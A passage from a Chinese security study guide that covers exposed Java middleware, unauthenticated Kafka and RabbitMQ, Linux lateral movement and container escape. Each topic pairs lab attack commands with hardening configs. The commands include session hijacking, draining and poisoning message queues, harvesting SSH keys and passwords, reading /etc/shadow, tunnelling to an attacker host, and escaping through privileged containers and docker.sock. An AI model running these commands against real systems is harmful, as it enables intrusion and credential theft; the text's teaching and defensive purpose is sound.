# {"ResultCode":1,"Content":[{"ID":"A1B2C3D4E5F6...","Principal":"admin",...}]}
# ↑ Session ID ↑ 登录的用户名
# ★ 用这个 Session ID 就能冒充该用户登录(如果应用只用 Session 做认证)
curl -s -H "Cookie: JSESSIONID=A1B2C3D4E5F6..." http://127.0.0.1:8888/api/user/profile
修复:
# application.yml
spring:
datasource:
druid:
stat-view-servlet:
# ★ 方案 1:直接关闭(生产推荐)
enabled: false
# 方案 2:如果要开,必须加认证 + 限制 IP
# enabled: true
# login-username: ${DRUID_USER} # 从环境变量注入,不要写死
# login-password: ${DRUID_PASS}
# allow: 172.20.0.0/16,127.0.0.1 # ★ IP 白名单
# deny: # 黑名单
# reset-enable: false # ★ 禁用"重置统计"按钮
# ★ 关闭 Session 监控(Session 劫持的根源)
web-stat-filter:
enabled: false
session-stat-enable: false
7.5.4 Swagger / Knife4j
问题:Swagger 方便开发,但生产环境开着会泄露所有 API 路径、参数、甚至可以直接调试发请求。
# 常见的 Swagger 路径(挨个试)
for p in /swagger-ui.html /swagger-ui/index.html /doc.html /api-docs /v2/api-docs \
/v3/api-docs /swagger-resources /webjars/swagger-ui/index.html; do
C=$(curl -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:8888$p")
[ "$C" = "200" ] && echo " ⚠️ 开放:$p"
done
# 拿到 API 定义后,能看到所有接口
curl -s http://127.0.0.1:8888/v2/api-docs | python3 -m json.tool | head -50
修复:
@Configuration
public class SwaggerConfig {
@Bean
@Profile({"dev", "test"}) // ★ 只在 dev/test 环境启用
public Docket api() {
return new Docket(DocumentationType.SWAGGER_2)
.select()
.apis(RequestHandlerSelectors.basePackage("com.example.controller"))
.paths(PathSelectors.any())
.build();
}
}
# application-prod.yml
springfox:
documentation:
swagger-ui:
enabled: false # ★ 生产关闭 UI
auto-startup: false
# 或者在 Knife4j
knife4j:
enable: false
production: true
7.5.5 修复清单(★ 生产直接照抄)
# application-prod.yml
management:
# 【1】管理端口与业务端口分离
server:
port: 9090
address: 127.0.0.1 # ★ 只监听本地,外部访问要靠跳板/内网
# 【2】★ 只暴露必要的端点(绝不用 '*')
endpoints:
web:
exposure:
include: health,info,prometheus
base-path: /manage # ★ 改掉默认的 /actuator(避免被扫描器直接找到)
jmx:
exposure:
exclude: '*'
# 【3】逐个关闭危险端点
endpoint:
health:
show-details: never # ★ 不显示详细信息(避免泄露组件状态)
# heapdump, env, beans, threaddump, loggers, gateway
# 都不在 include 里 = 默认关闭
# 【4】开启 endpoint 的敏感标记(Spring Boot 2.x)
# 注意:2.x 移除了 sensitive 概念,靠 include 控制即可
再加一层认证(纵深防御):
@Configuration
public class ActuatorSecurityConfig {
@Bean
public SecurityFilterChain actuatorSecurity(HttpSecurity http) throws Exception {
return http
// 只匹配管理端点
.securityMatcher(EndpointRequest.toAnyEndpoint())
.authorizeHttpRequests(auth -> auth
// health 和 info 允许匿名(给监控系统用)
.requestMatchers(EndpointRequest.to("health", "info")).permitAll()
// 其他端点必须管理员 + 来源 IP 白名单
.anyRequest().hasRole("ACTUATOR_ADMIN"))
.httpBasic(Customizer.withDefaults())
.build();
}
}
K8s 里再加固一层(NetworkPolicy,第八章会讲):
# 只允许 Prometheus 访问 9090 端口
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-prometheus-only
spec:
podSelector:
matchLabels:
app: myapp
policyTypes:
- Ingress
ingress:
- from:
- podSelector:
matchLabels:
app: prometheus
ports:
- protocol: TCP
port: 9090 # 只开放管理端口给监控
7.5.6 复测脚本
cat > /tmp/verify_actuator.sh <<'SCRIPT'
#!/bin/bash
# Actuator / Druid / Swagger 暴露面复测
TARGET="${1:-http://127.0.0.1:8888}"
pass=0; fail=0
ok() { echo " ✅ 通过:$1"; pass=$((pass+1)); }
bad() { echo " ❌ 未通过:$1 —— $2"; fail=$((fail+1)); }
echo "=== Java 应用暴露面复测 ==="
echo "目标:$TARGET"
echo ""
echo "--- Actuator 危险端点(应全部 401/403/404)---"
for ep in heapdump env beans threaddump mappings loggers gateway/routes configprops \
scheduledtasks caches auditevents httptrace shutdown restart; do
for base in "/actuator" "/manage"; do
C=$(curl -s -o /dev/null -w '%{http_code}' -m 5 "$TARGET$base/$ep")
if [ "$C" = "200" ]; then
bad " $base/$ep 可访问" "★ HTTP 200"
break
fi
done
[ "$C" != "200" ] && echo " ✅ /actuator/$ep 不可访问"
done
echo ""
echo "--- 允许开放的端点(应 200)---"
for ep in health info; do
C=$(curl -s -o /dev/null -w '%{http_code}' -m 5 "$TARGET/actuator/$ep")
[ "$C" = "200" ] && echo " ✅ /actuator/$ep = $C(正常开放)" \
|| echo " ⚠️ /actuator/$ep = $C"
done
echo ""
echo "--- Druid 监控 ---"
for p in /druid/index.html /druid/sql.json /druid/session.json /druid/datasource.json; do
C=$(curl -s -o /dev/null -w '%{http_code}' -m 5 "$TARGET$p")
if [ "$C" = "200" ]; then bad " $p 可访问" "★ 会泄露 SQL/Session"; else ok " $p 不可访问"; fi
done
echo ""
echo "--- Swagger 文档 ---"
SW=0
for p in /swagger-ui.html /swagger-ui/index.html /doc.html /v2/api-docs /v3/api-docs \
/swagger-resources; do
C=$(curl -s -o /dev/null -w '%{http_code}' -m 5 "$TARGET$p")
if [ "$C" = "200" ]; then echo " ❌ $p 可访问(HTTP 200)"; SW=1; fi
done
[ $SW -eq 0 ] && ok " Swagger 未开放" || echo " ⚠️ 生产环境应关闭 Swagger"
echo ""
echo "--- H2 Console(★ 最容易忘)---"
C=$(curl -s -o /dev/null -w '%{http_code}' -m 5 "$TARGET/h2-console")
[ "$C" = "200" ] && bad " /h2-console 可访问" "★ 可直接执行 SQL 拖库" || ok " /h2-console 不可访问"
echo ""
echo "--- 错误页面泄露 ---"
C=$(curl -s -o /tmp/_err.txt -w '%{http_code}' "$TARGET/api/notexist/$(date +%s)")
if grep -qiE "java\.|Exception|at [a-z]+\.[a-z]+\.|Spring Boot" /tmp/_err.txt; then
bad " 错误页面泄露堆栈信息" "$(head -c 100 /tmp/_err.txt)"
else
ok " 错误页面未泄露堆栈"
fi
echo ""
echo "结果:通过 $pass,未通过 $fail"
[ $fail -eq 0 ] && echo "🎉 暴露面检查通过" || echo "⚠️ 发现 $fail 项暴露,需要处理"
SCRIPT
chmod +x /tmp/verify_actuator.sh
7.6 消息队列未授权:Kafka / RabbitMQ / RocketMQ
MQ 的未授权不像 Redis 那样能直接 GetShell,但危害同样巨大: ① 数据泄露(消息里可能有订单、用户信息) ② 数据投毒(往队列里塞假消息,污染下游) ③ 拒绝服务(疯狂生产消息把磁盘撑爆)
7.6.1 Kafka
# 起靶场(无认证)
docker run -d --name kafka-vuln --network lab-net \
-p 127.0.0.1:9092:9092 \
-e KAFKA_ZOOKEEPER_CONNECT=zookeeper:2181 \
-e KAFKA_ADVERTISED_LISTENERS=PLAINTEXT://127.0.0.1:9092 \
-e KAFKA_LISTENERS=PLAINTEXT://0.0.0.0:9092 \
-e KAFKA_ALLOW_PLAINTEXT_LISTENER=yes \
-e KAFKA_AUTO_CREATE_TOPICS_ENABLE=true \
bitnami/kafka:3.4
# 探测:列出所有 topic(无需认证)
kafka-topics.sh --bootstrap-server 127.0.0.1:9092 --list
# 预期:
# order-events
# user-register
# payment-notify
# __consumer_offsets
# ★ 消费消息(拖数据)
kafka-console-consumer.sh --bootstrap-server 127.0.0.1:9092 \
--topic order-events --from-beginning --max-messages 100
# 预期输出:
# {"orderId":"202609040001","userId":10086,"amount":9999.00,"address":"北京市朝阳区xxx","phone":"138****1234"}
# {"orderId":"202609040002",...}
# ★ 全是真实业务数据!
# ★ 生产假消息(投毒)
echo '{"orderId":"FAKE001","userId":1,"amount":0.01,"status":"PAID"}' | \
kafka-console-producer.sh --bootstrap-server 127.0.0.1:9092 --topic payment-notify
# 下游服务会当真,可能触发"虚假发货"
Kafka 加固:
# server.properties
# 【1】开启 SASL 认证(★ 最重要)
listeners=SASL_PLAINTEXT://172.20.0.20:9092
security.inter.broker.protocol=SASL_PLAINTEXT
sasl.mechanism.inter.broker.protocol=PLAIN
sasl.enabled.mechanisms=PLAIN,SCRAM-SHA-512
# 【2】配置 JAAS(用户名密码)
# listener.name.sasl_plaintext.plain.sasl.jaas.config=\
# org.apache.kafka.common.security.plain.PlainLoginModule required \
# username="admin" password="admin-secret" user_admin="admin-secret" user_app="app-secret";
# 【3】开启 ACL(细粒度:哪个用户能读写哪个 topic)
authorizer.class.name=kafka.security.authorizer.AclAuthorizer
super.users=User:admin
# 命令行配置:
# kafka-acls.sh --bootstrap-server localhost:9092 --add \
# --allow-principal User:app --operation Read --topic order-events
# 【4】关闭自动创建 topic(防止攻击者建一堆 topic 撑爆磁盘)
auto.create.topics.enable=false
# 【5】不监听 0.0.0.0
listeners=PLAINTEXT://172.20.0.20:9092
7.6.2 RabbitMQ
# 起靶场(默认 guest/guest)
docker run -d --name rabbit-vuln --network lab-net \
-p 127.0.0.1:15672:15672 -p 127.0.0.1:5672:5672 \
rabbitmq:3.11-management-alpine
# 探测:用默认口令登录管理后台
curl -s -u guest:guest "http://127.0.0.1:15672/api/overview" | python3 -m json.tool | head -20
# 预期:返回集群信息 = ★ 默认口令可用
# 列出所有队列
curl -s -u guest:guest "http://127.0.0.1:15672/api/queues" \
| jq -r '.[] | "\(.name)\t\(.messages) 条消息"'
# 预期:
# order.queue 1523 条消息
# email.queue 87 条消息
# ★ 拉取消息内容(会消费掉!攻击者通常用"偷看"模式避免被发现)
curl -s -u guest:guest -X POST "http://127.0.0.1:15672/api/queues/%2F/order.queue/get" \
-H "Content-Type: application/json" \
-d '{"count":10,"ackmode":"ack_requeue_true","encoding":"auto"}'
# ackmode=ack_requeue_true 的作用:看完再放回去,不影响业务(★ 隐蔽)
# ★ 管理后台还能执行 Erlang 代码 → RCE(CVE-2018-1279 等历史漏洞)
RabbitMQ 加固:
# ① 改掉默认口令(★ 必须)
rabbitmqctl change_password guest 'Xk9mP2vQ7nR4tY8wZ1aB6cE'
# ② 删除 guest 用户(更彻底)
rabbitmqctl delete_user guest
# ③ 创建应用专用用户 + 最小权限
rabbitmqctl add_user appuser 'AppPass123!'
rabbitmqctl set_permissions -p / appuser "order-.*" "order-.*" "order-.*"
# ↑ 配置 ↑ 写 ↑ 读
# 含义:只能操作 order- 开头的资源
# ④ 禁用管理后台或限制 IP
rabbitmq-plugins disable rabbitmq_management # 生产环境可考虑关闭 UI
# ⑤ 只监听内网
# rabbitmq.conf: listeners.tcp.local = 172.20.0.30:5672
7.6.3 统一加固思路
┌──────────────────────────────────────────────────────┐
│ 所有中间件的未授权问题,答案都是同一个套路: │
├──────────────────────────────────────────────────────┤
│ ① 开认证(改默认口令,用强密码) │
│ ② 只听内网(bind 内网 IP,不绑 0.0.0.0) │
│ ③ 改端口(挡掉自动化扫描,属于"安全通过 obscurity") │
│ ④ 最小权限(业务账号只给必要权限) │
│ ⑤ 网络隔离(防火墙 / 安全组 / K8s NetworkPolicy) │
│ ⑥ 开审计日志(出事能溯源) │
│ ⑦ 定期扫描(trivy / nmap / 自研扫描器) │
└──────────────────────────────────────────────────────┘
7.7 内网横向移动:拿到一台之后怎么办
这一节是“攻击链的完整闭环”。前面所有章节都是“拿下第一台机器”, 这一节讲拿到第一台之后怎么扩大战果。
对防御方的价值更大:知道攻击者会怎么走,才知道该在哪里设卡。
7.7.1 名词
| 名词 | 白话解释 |
|---|---|
| 横向移动 | 攻击者拿下 A 机器后,以 A 为跳板去打 B、C、D 机器。内网机器之间通常互相信任,防护最弱 |
| 跳板机 | 被攻陷后用来“跳”到其他机器的那台机器 |
| PTH / 票据传递 | Windows 域环境下的技术,本文不涉及(Java 场景主要面对 Linux) |
| 端口转发 / 隧道 | 把内网服务的端口“映射”到攻击者能访问的地方,就像挖一条地道 |
7.7.2 Linux 上的横向移动四步
第一步:信息收集(我在哪?周围有什么?)
# ① 我是谁、在哪
whoami && id && hostname && uname -a
# ② 网卡和网络(★ 有哪些网段可以打)
ip addr | grep -E "inet |ether"
cat /etc/resolv.conf # DNS 服务器(通常也是内网的网关/域控)
# ③ 路由表(能直接访问哪些网段)
ip route
# ④ 当前有哪些连接(★ 看这台机器平时跟谁通信)
netstat -antp | head -30
ss -antp | grep ESTAB
# ⑤ 这台机器上有什么服务(对外开放了什么)
netstat -lntp
# ⑥ hosts 文件(★ 经常有惊喜——内网域名和 IP 的对应关系)
cat /etc/hosts
# ⑦ 历史命令(★ 经常有密码)
cat ~/.bash_history | grep -iE "mysql|redis|ssh|scp|password|token"
# ⑧ 配置文件里的密码
grep -riE "password|passwd|secret|token" /app/*.yml /app/*.properties 2>/dev/null | head -20
cat /app/application.yml 2>/dev/null
env | grep -iE "pass|secret|key|token"
第二步:扫内网(哪些机器活着?开了什么端口?)
# 方法 1:ping 扫描(快速找出存活主机)
for i in $(seq 1 254); do
(ping -c 1 -W 1 172.20.0.$i > /dev/null 2>&1 && echo "172.20.0.$i 存活" &
) done; wait
# 方法 2:用 nmap(如果有的话)
nmap -sn 172.20.0.0/24 # 只扫描存活主机
nmap -sT -p 22,80,443,3306,6379,8080,8848,9200 172.20.0.0/24 # 扫关键端口
# 方法 3:★ 没有 nmap 时,用 bash + /dev/tcp(纯内置,不留文件)
for i in $(seq 1 254); do
for p in 22 3306 6379 8080 8848; do
(timeout 1 bash -c "echo > /dev/tcp/172.20.0.$i/$p" 2>/dev/null \
&& echo "172.20.0.$i:$p 开放" &)
done
done; wait
# 方法 4:用已拿下的 Redis 当跳板(第五章的 SSRF 思路类似)
第三步:利用(用什么打?)
# 优先级从高到低:
# ① SSH 私钥(~/.ssh/id_rsa, ~/.ssh/authorized_keys)
# → 直接用私钥登录其他机器(如果做了免密登录,一把钥匙开所有门)
ls -la ~/.ssh/
cat ~/.ssh/id_rsa 2>/dev/null
cat ~/.ssh/known_hosts # ★ 看这台机器登过哪些机器
cat ~/.ssh/config # ★ 可能有跳板机配置
# ② 配置文件里的密码(复用!很多人所有机器用同一个密码)
grep -rE "password" /app/ /etc/ 2>/dev/null
# ③ 同样的未授权服务(Redis/MySQL/Nacos 通常装了一批,配置都一样)
redis-cli -h 172.20.0.20 -p 6379 ping
# ④ 复用漏洞(如果 A 机器有 Log4Shell,同批次的 B/C 大概率也有)
第四步:建隧道(把内网服务“挖出来”)
# 场景:拿下了 A 机器(172.20.0.10),发现内网有一台 MySQL(172.20.0.20:3306)
# 但攻击者无法直接访问 172.20.0.20,只能通过 A 访问
# 方法 1:SSH 本地端口转发(最常用)
# 在攻击机上执行:
ssh -L 13306:172.20.0.20:3306 root@A机器公网IP -N -f
# 然后攻击机访问自己的 13306 端口,就等于访问内网的 3306
mysql -h 127.0.0.1 -P 13306 -uroot -p
# 方法 2:SSH 动态转发(SOCKS 代理)
ssh -D 1080 root@A机器公网IP -N -f
# 然后浏览器/工具配置 SOCKS5 代理 127.0.0.1:1080,
# 就能像在 A 机器本地一样访问整个内网
# 方法 3:用 frp / chisel / nps 这类专业的内网穿透工具
# frpc 配置(在被控机器上跑):
# [common]
# server_addr = 攻击者IP
# server_port = 7000
# [mysql]
# type = tcp
# local_ip = 172.20.0.20
# local_port = 3306
# remote_port = 13306
7.7.3 防御:在哪里设卡
| 攻击阶段 | 防御措施 |
|---|---|
| ① 信息收集 | ★ 配置文件里不放明文密码(用 KMS/Vault);清理 .bash_history;env 里不放大密钥 |
| ② 扫内网 | ★ 微服务间做网络隔离(K8s NetworkPolicy / 安全组);不要“内网全互通” |
| ③ 利用 | ★ 每台机器用不同的密码/密钥;SSH 禁用密码登录改用密钥;禁止 root 直登 |
| ④ 建隧道 | 出网流量白名单(★ 只允许访问必要的外部地址);监控异常的出站长连接 |
★ 最重要的一条防御:SSH 密钥管理
# ❌ 错误做法:所有服务器共用一把 SSH 密钥(一把钥匙开所有门)
# 一旦一台被攻破,全部沦陷
# ✅ 正确做法:
# ① 每台服务器独立的 authorized_keys
# ② 或者用堡垒机/跳板机统一管控,服务器只允许从堡垒机 IP 登录
# /etc/ssh/sshd_config:
# AllowUsers deploy@堡垒机IP
# ③ 或用短期证书(Netflix 的 BLESS、HashiCorp Vault 的 SSH CA)
# 证书 1 小时过期,偷走也没用
# /etc/ssh/sshd_config 加固
PermitRootLogin no # ★ 禁止 root 直登
PasswordAuthentication no # ★ 禁用密码登录,只用密钥
PubkeyAuthentication yes
PermitEmptyPasswords no
MaxAuthTries 3
ClientAliveInterval 300
AllowUsers deploy ops # 只允许指定用户
# AllowGroups ssh-users
# 重启生效
systemctl restart sshd
7.8 第七章总结
7.8.1 速查表
| 服务 | 端口 | 未授权能干什么 | 加固一句话 |
|---|---|---|---|
| Redis | 6379 | 写文件 → GetShell | 设密码 + 禁 CONFIG/MODULE + 非 root |
| MySQL | 3306 | 拖库 + UDF 提权 | secure_file_priv + 收回 FILE 权限 |
| Nacos | 8848 | 拖走所有配置(含全部密码) | 开鉴权 + 关闭 UA 白名单 + 配置加密 |
| Jenkins | 8080 | Groovy → RCE + 拖走全部凭据 | 开认证 + 保护 /script + 日志脱敏 |
| Actuator | 8080 | heapdump 拖走内存里所有密码 | 只暴露 health/info + 改端口 + 加认证 |
| Druid | 8080 | SQL/Session 泄露 + Session 劫持 | 生产关闭或加认证 + 关 Session 监控 |
| Swagger | 8080 | 泄露全部 API 清单 | 生产关闭(@Profile) |
| Kafka | 9092 | 消费消息(拖数据)+ 投毒 | SASL 认证 + ACL |
| RabbitMQ | 15672 | 拖走消息 + 管理后台 RCE | 改掉 guest/guest + 最小权限 |
| Docker API | 2375 | 直接接管宿主机 | ★ 绝不开 2375,必须开就用 TLS |
| Elasticsearch | 9200 | 拖走全部数据 | 开 X-Pack 安全认证 |
| MongoDB | 27017 | 拖走全部数据 | 开 auth + 不绑 0.0.0.0 |
7.8.2 本章必背 6 句话
- Redis 未授权的严重程度 = 能写文件 × root 运行 × 公网可达,断任何一环都行
- 只禁
CONFIG是不够的——攻击者会用主从复制 RCE,必须同时禁MODULE/SLAVEOF - MySQL UDF 提权的三个前提:FILE 权限 +
secure_file_priv为空 +plugin_dir可写,堵一个就够 - Nacos 泄露 = 整个公司的钥匙串(数据库密码 + Redis 密码 + AK/SK + JWT 密钥)
/actuator/env会脱敏,但/actuator/heapdump不脱敏——后者能把内存里所有密码原样 dump 出来- 未授权的通用答案:开认证 + 听内网 + 改端口 + 最小权限 + 网络隔离 + 开审计
7.8.3 面试怎么讲(1 分钟版本)
“中间件未授权这块我重点关注的是配置中心和应用监控端点,因为这两个是 Java 微服务里最容易被忽略、但危害最大的。
配置中心(我们用 Nacos):它里面存着所有服务的配置,包括数据库密码、Redis 密码、AK/SK。 如果没开鉴权,攻击者一条 curl 就能把所有配置拖走,相当于把整个公司的钥匙串给了别人。 我们做了三件事:开启鉴权并关闭
user-agent白名单(那个 CVE-2021-29441 就是靠伪造 UA 绕过的); 配置里不放明文密钥,敏感值用 Jasypt 加密,主密钥从环境变量注入; AK/SK 干脆不用,改成云厂商的实例角色,代码里根本不出现密钥。监控端点(Actuator):我们之前默认暴露了全部端点,做安全评审时发现
/actuator/env虽然会脱敏,但/actuator/heapdump不会—— 它能把 JVM 堆内存原样 dump 出来,里面有数据库密码的 String 对象明文。 我实际验证过,dump 下来strings一下就能搜到密码。 后来改成只暴露 health/info/prometheus,管理端口和业务端口分离且只监听本地,再加一层认证。另外 Redis 那块我们做了非 root 运行 + 禁用 CONFIG/MODULE/SLAVEOF, 因为只禁 CONFIG 不够,攻击者会改用主从复制 RCE。“
7.8.4 本章实验清单
| 实验 | 耗时 | 难度 | 面试价值 |
|---|---|---|---|
| Redis 未授权探测 + 写 crontab | 30 分钟 | ★★ | ★★★★★ |
| Redis 主从复制 RCE | 40 分钟 | ★★★ | ★★★★ |
| MySQL UDF 提权 | 45 分钟 | ★★★ | ★★★★ |
| MySQL 拖库 + 敏感字段定位 | 20 分钟 | ★★ | ★★★ |
| Nacos 配置泄露 | 25 分钟 | ★★ | ★★★★★ |
| Jenkins Script Console RCE | 30 分钟 | ★★ | ★★★★ |
| Jenkins 凭据拖取 | 20 分钟 | ★★ | ★★★★ |
| heapdump 捞密码 | 30 分钟 | ★★ | ★★★★★ |
| Druid Session 劫持 | 20 分钟 | ★★ | ★★★ |
| Kafka 消息拖取 | 20 分钟 | ★★ | ★★★ |
时间有限的话,做这三个:Redis 写 crontab(最经典)、heapdump 捞密码(最震撼、最贴近 Java)、Nacos 配置泄露(危害最大)。
第八章:容器逃逸与 K8s 攻防
这一章是 12 号文档的“高阶部分”,也是最能拉开差距的一章。
第七章讲的 Redis / Nacos / Jenkins 是传统运维的问题,很多老工程师也懂。 但容器逃逸和 K8s 集群接管,是云原生时代的新战场—— 大量公司上了 K8s,但真正理解“SA Token 能干什么”的人不多。
如果你的简历上有 K8s(云原生与 DevOps 那篇文档),这一章的内容能让你在面试里 从“会用 K8s”变成“懂 K8s 安全”——这是两个层次。
8.0 先建立“4C 安全模型”
云原生安全有个著名的 4C 模型(分层防御):
┌─────────────────────────────────────────┐
│ ① Cloud(云) │
│ 云账号、IAM、安全组、VPC │
│ ┌─────────────────────────────────┐ │
│ │ ② Cluster(集群) │ │
│ │ K8s API、etcd、RBAC、 admission│ │
│ │ ┌─────────────────────────┐ │ │
│ │ │ ③ Container(容器) │ │ │
│ │ │ securityContext、capabilities│ │
│ │ │ ┌─────────────────┐ │ │ │
│ │ │ │ ④ Code(代码) │ │ │ │
│ │ │ │ SQL注入/XSS... │ │ │ │
│ │ │ └─────────────────┘ │ │ │
│ │ └─────────────────────────┘ │ │
│ └─────────────────────────────────┘ │
└─────────────────────────────────────────┘
★ 关键:每一层被攻破,都能进入【更里面】的层
代码有漏洞 → 拿到容器 shell → 容器逃逸 → 拿到 Node → 接管集群 → 控制云账号
本章要打通的攻击链:
代码漏洞(如 Log4Shell)
↓ ① 在容器里拿到 Shell
容器逃逸(本章 8.1)
↓ ② 从容器里出来,拿到 Node(宿主机)权限
偷取 ServiceAccount Token(本章 8.3)
↓ ③ 用 Token 调 K8s API
RBAC 权限提升
↓ ④ 创建特权 Pod / 读取所有 Secret
接管整个集群
↓ ⑤ 拿到云厂商 AK/SK(Secret 里通常有)
控制云账号(开矿机、删数据)
8.0.1 名词速查(本章会反复出现)
| 名词 | 白话解释 |
|---|---|
| 容器逃逸 | 从容器里“跑出来”,拿到宿主机的权限。本来容器应该是隔离的沙箱,逃逸就是打破这个沙箱 |
| 特权容器(privileged) | 用 --privileged 启动的容器,它拥有宿主机的所有设备访问权和 capabilities。等于“沙箱墙被拆了” |
| Namespace / Cgroup | Linux 容器的两大基石:Namespace 负责“看不见“(隔离视图),Cgroup 负责”用不了那么多“(限制资源)。逃逸的本质就是绕过这两层 |
| Capabilities | Linux 把 root 权限拆成了 38 个小权限(如 CAP_NET_ADMIN 改网络、CAP_SYS_ADMIN 挂载文件系统)。容器默认只给其中一小部分 |
| SA Token | ServiceAccount Token,K8s 发给每个 Pod 的“身份证”,Pod 用它访问 K8s API。默认挂载在 /var/run/secrets/kubernetes.io/serviceaccount/token |
| RBAC | Role-Based Access Control,K8s 的权限系统:定义“谁(ServiceAccount)能对什么资源(pods/secrets)做什么操作(get/list/create)“ |
| kubelet | 跑在每个 Node 上的“agent”,负责管理本机的 Pod。它有 10250 端口的 API,如果没鉴权,能在任意 Pod 里执行命令 |
| etcd | K8s 的数据库,存着集群的所有状态——包括所有 Secret(明文或 base64) |
| Pod Security Admission (PSA) | K8s 1.25+ 的准入控制,用来阻止创建特权容器等高危 Pod(取代了老的 PSP) |
| NetworkPolicy | K8s 的“防火墙规则“,控制 Pod 之间能不能互相访问 |
8.1 容器逃逸:三种手法
前提假设:你已经通过某个漏洞(比如 Log4Shell)在容器里拿到了 Shell。 现在问:你能不能从容器里出来?
8.1.1 手法一:特权容器逃逸(最简单,也最常见)
什么是特权容器:启动时加了 --privileged 的容器。
它的 CAP_SYS_ADMIN 权限没被去掉,能看到宿主机的所有磁盘设备。
逃逸原理:
特权容器能看到宿主机的磁盘(
/dev/sda1等), 于是把它挂载到容器里,然后就能读写宿主机的整个文件系统—— 包括/etc/shadow、/root/.ssh/、crontab。
容器里的视角:
# fdisk -l
Disk /dev/vda: 100 GB ← ★ 这是宿主机的磁盘!普通容器看不到
逃逸步骤:
① mkdir /mnt/host && mount /dev/vda1 /mnt/host
② chroot /mnt/host ← 切换根目录,现在"就在宿主机上"
③ 写 crontab / SSH key / 直接执行命令
动手:
# ① 起一个特权容器模拟"被攻陷的应用"
docker run -it --rm --name escape-privileged \
--privileged \
--pid=host \
-v /:/host \
ubuntu:22.04 bash
在容器里执行(你现在是攻击者):
# 第 1 步:确认自己是特权容器
cat /proc/self/status | grep -i cap
# 预期(特权容器):
# CapEff: 000001ffffffffff ← ★ 全 f = 拥有所有 capabilities
# 普通容器应该是:
# CapEff: 00000000a80425fb ← 只有一部分
# 或者用 capsh 看
capsh --print | grep Current
# 特权容器:Current: = cap_sys_admin,...,cap_sys_ptrace,...ep
# 普通容器:Current: = cap_chown,cap_dac_override,...(少很多)
# 第 2 步:看能不能看到宿主机磁盘
fdisk -l 2>/dev/null | head -20
# 预期:
# Disk /dev/vda: 100 GiB, 107374182400 bytes
# /dev/vda1 * 2048 209715199 209713152 100G 83 Linux ← ★ 宿主机磁盘
# 第 3 步:★ 挂载宿主机根分区
mkdir -p /mnt/host
mount /dev/vda1 /mnt/host
# 预期:无报错(成功)
# 第 4 步:确认能读写宿主机文件
ls /mnt/host/
# 预期:
# bin boot dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var
# ★ 这就是宿主机的根目录!
cat /mnt/host/etc/hostname
# 预期:宿主机的主机名(和容器的 hostname 不同)
# 第 5 步:★ 写 crontab 到宿主机(GetShell)
echo "* * * * * root touch /tmp/ESCAPED_FROM_PRIVILEGED_CONTAINER" \
>> /mnt/host/etc/crontab
# 等 1 分钟,验证宿主机上文件被创建
# 第 6 步(更直接):chroot 过去,直接就在宿主机上
chroot /mnt/host /bin/bash
# 现在你敲的任何命令都在宿主机上执行
hostname # 预期:宿主机的主机名
whoami # 预期:root
⚠️ 注意:上面的演示用了
-v /:/host,那是“作弊”(宿主机根目录直接挂进来了)。 真正的特权容器逃逸不需要这个——靠的是mount /dev/vda1。 我这里加上-v只是为了让你在实验环境里更容易看到效果。 你可以去掉-v /:/host再试一次,只用--privileged,mount /dev/vda1依然有效。
为什么这么容易?防御手段是什么?
# ❌ 危险配置
apiVersion: v1
kind: Pod
metadata:
name: bad-pod
spec:
containers:
- name: app
image: nginx
securityContext:
privileged: true # ★ 罪魁祸首
# ✅ 安全配置
apiVersion: v1
kind: Pod
metadata:
name: good-pod
spec:
containers:
- name: app
image: nginx
securityContext:
privileged: false # ★ 绝不开特权
allowPrivilegeEscalation: false # ★ 禁止提权(阻止 setuid 程序)
runAsNonRoot: true # ★ 非 root 运行
runAsUser: 10001
readOnlyRootFilesystem: true # ★ 根文件系统只读(攻击者写不了文件)
capabilities:
drop:
- ALL # ★ 去掉所有 capabilities
# add: ["NET_BIND_SERVICE"] # 只加真正需要的(如绑定 80 端口)
seccompProfile:
type: RuntimeDefault # ★ 启用 seccomp 默认策略
用 Admission Controller 强制(防止开发乱配):
# Pod Security Admission(K8s 1.25+ 内置)
apiVersion: v1
kind: Namespace
metadata:
name: production
labels:
pod-security.kubernetes.io/enforce: restricted # ★ 最严格级别
pod-security.kubernetes.io/enforce-version: latest
pod-security.kubernetes.io/audit: restricted
pod-security.kubernetes.io/warn: restricted
PSA 的三个级别:
- privileged:不限制(几乎不设防)
- baseline:阻止已知的特权提升(禁止 privileged、hostPath、hostNetwork 等)
- restricted:★ 最严格(在 baseline 基础上,还要求 runAsNonRoot、drop ALL capabilities、限制 volume 类型等)
生产环境建议:业务命名空间一律用 restricted。
8.1.2 手法二:挂载 Docker Socket(★ 实战中最常见)
原理:有些应用需要在容器里管理 Docker(比如 CI/CD 工具、监控 agent),
于是把宿主机的 /var/run/docker.sock 挂载进容器。
但 docker.sock 等价于“宿主机的 root 权限”——
因为 Docker daemon 是以 root 运行的,你通过 socket 让它启动一个新容器,
那个容器也是 root 的,而且可以挂载宿主机根目录。
容器里执行:
docker -H unix:///var/run/docker.sock run -v /:/host ubuntu chroot /host
↑ 挂载宿主机根目录
→ 新容器里 chroot /host = 拿到了宿主机
动手:
# ① 起一个"挂载了 docker.sock 的容器"(这是很多 CI 工具的真实做法)
docker run -it --rm --name escape-dockersock \
-v /var/run/docker.sock:/var/run/docker.sock \
ubuntu:22.04 bash
在容器里(攻击者视角):
# 第 1 步:确认 socket 存在
ls -la /var/run/docker.sock
# 预期:
# srw-rw---- 1 root root 0 Sep 4 04:40 /var/run/docker.sock
# ★ 注意开头的 s = socket 文件
# 第 2 步:安装 docker 客户端(如果容器里没有)
apt-get update -qq && apt-get install -y -qq docker.io curl
# 第 3 步:★ 用这个 socket 操作宿主机的 Docker
docker -H unix:///var/run/docker.sock ps
# 预期:★★ 能看到宿主机上【所有】容器!
# CONTAINER ID IMAGE COMMAND CREATED STATUS
# a1b2c3d4e5f6 redis:7.2 "docker-entrypoint.s…" 2 hours ago Up 2 hours
# ...
# 第 4 步:★★★ 逃逸 —— 启动一个挂载宿主机根目录的新容器
docker -H unix:///var/run/docker.sock run -it --rm \
--privileged \
--pid=host \
--net=host \
-v /:/host \
alpine chroot /host /bin/sh
# 现在你已经在宿主机上了
hostname
cat /etc/shadow | head -3
# ★ 宿主机的密码哈希!
# 或者更狠的:直接写 crontab
docker -H unix:///var/run/docker.sock run --rm -v /:/host alpine \
sh -c "echo '* * * * * root touch /tmp/ESCAPED_VIA_DOCKER_SOCK' >> /host/etc/crontab"
这个漏洞在真实世界有多普遍? 搜索 GitHub 上的
